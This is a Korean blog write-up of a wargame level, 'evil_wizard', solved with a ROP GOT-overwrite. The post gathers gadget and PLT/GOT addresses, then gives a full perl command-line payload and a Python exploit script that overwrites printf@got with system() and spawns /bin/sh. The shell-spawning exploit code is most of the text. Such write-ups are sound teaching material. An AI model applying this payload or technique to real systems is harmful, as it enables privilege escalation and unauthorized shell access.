먼저 소스를 확인해본다.
(ROP 기법을 사용할 때 필요한 가젯등의 재료들을 모으는 부분을 중점적으로 설명한다.)
구버전 gcc에는 ppr가젯이 없으므로 ppr 가젯을 임의로 넣어뒀고 down privilege 때문에 setreuid/gid를 넣어뒀다.
sfp를 미리 저장해놓고 종료직전 다시 덮어준다. 그리고 RET Sled를 막기위한 부분도 존재한다.
맨 위 주석으로 GOT Overwriting 이라고 명시되어있으므로 해당 기법을 사용해서 문제를 풀어보자.
먼저 시나리오는 다음과같다.
strcpy@plt를 이용하여 print@got를 system함수의 주소로 한바이트씩 덮는다. 그리고 print@plt를 호출하여
system함수를 실행시킬것이다. 고로 필요한 가젯등을 종합해보면
1. pop pop ret gadget
2. printf@plt
3. printf@got
4. system addr
5. /bin/sh addr
이며 이를 바탕으로 페이로드를 구성해보자면 아래와 같다.
Buffer(268) + strcpy@plt + ppr + print@got[0] + system's addr[0]
+ strcpy@plt + ppr + print@got[1] + system's addr[1]
+ strcpy@plt + ppr + print@got[2] + system's addr[2]
+ strcpy@plt + ppr + print@got[3] + system's addr[3]
+ print@plt + aaaa + "/bin/sh"
먼저 페이로드에 필요한것들을 하나씩 구해본다.
ppr = 0x0804854f
strcpy@plt = 0x08048494 (objdump -d evil_wizard | grep strcpy)
printf@plt = 0x08048424
파일소스를 보면 맨 printf가 제일 끝부분에서 쓰이기때문에 맨 끝 call이 printf 이다. file 을 통해 바이너리를 살펴
봤을때는 not stripped 상태였는데 왜 심볼들이 제대로 안보이는건지 잘 모르겠다.
printf@got = 0x08049884
system = 0x007507c0 (p system)
/bin/sh = 0x00833603
system 함수주소(0x007507c0) 한바이트씩
(해당바이트 하나만 복사하기위해서 뒤에 00이 존재하는 부분을 찾아야한다.)
1. c0 = 0x08048420
2. 07 = 0x08048154
3. 75 = 0x08048303
4. 00 = 0x08049860
필요한것들을 모두 찾았다. 이제 위에 적어놓은 페이로드에 끼워맞추기만하면 된다.
Buffer(268) + strcpy@plt + ppr + print@got[0] + system's addr[0]
+ strcpy@plt + ppr + print@got[1] + system's addr[1]
+ strcpy@plt + ppr + print@got[2] + system's addr[2]
+ strcpy@plt + ppr + print@got[3] + system's addr[3]
+ print@plt + aaaa + "/bin/sh"
=>
./evil_wizard "`perl -e 'print "a"x268,
"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x84\x98\x04\x08","\x20\x84\x04\x08",
"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x85\x98\x04\x08","\x54\x81\x04\x08",
"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x86\x98\x04\x08","\x03\x83\x04\x08",
"\x94\x84\x04\x08","\x4f\x85\x04\x08","\x87\x98\x04\x08","\x60\x98\x04\x08",
"\x24\x84\x04\x08","aaaa","\x03\x36\x83\x00"'`"
(\x20이 공백이므로 ""로 한번 더 묶어줬다.)
get down like that
[Exploit]
from struct import *
p = lambda x: pack("<L", x)
ppr = 0x0804854f
strcpyplt = 0x08048494
printfplt = 0x08048424
printfgot = 0x08049884
system1 = 0x08048420
system2 = 0x08048154
system3 = 0x08048303
system4 = 0x08049860
binsh = 0x833603
payload = ""
payload += "a"*268
payload += p(strcpyplt)
payload += p(ppr)
payload += p(printfgot)
payload += p(system1)
payload += p(strcpyplt)
payload += p(ppr)
payload += p(printfgot+1)
payload += p(system2)
payload += p(strcpyplt)
payload += p(ppr)
payload += p(printfgot+2)
payload += p(system3)
payload += p(strcpyplt)
payload += p(ppr)
payload += p(printfgot+3)
payload += p(system4)
payload += p(printfplt)
payload += "a"*4
payload += p(binsh)
print payload
'Wargame(CTF)' 카테고리의 다른 글
flag (0) | 2015.08.06 |
---|---|
[2014 Holyshield] Write up (0) | 2015.05.26 |
[2015 Codegate] Owlur (Web 200) 부엉이 (0) | 2015.03.17 |
Level18. SUCCUBUS -> NIGHTMARE (0) | 2015.02.18 |
Level17. ZOMBIE_ASSASSIN -> SUCCUBUS (0) | 2015.02.18 |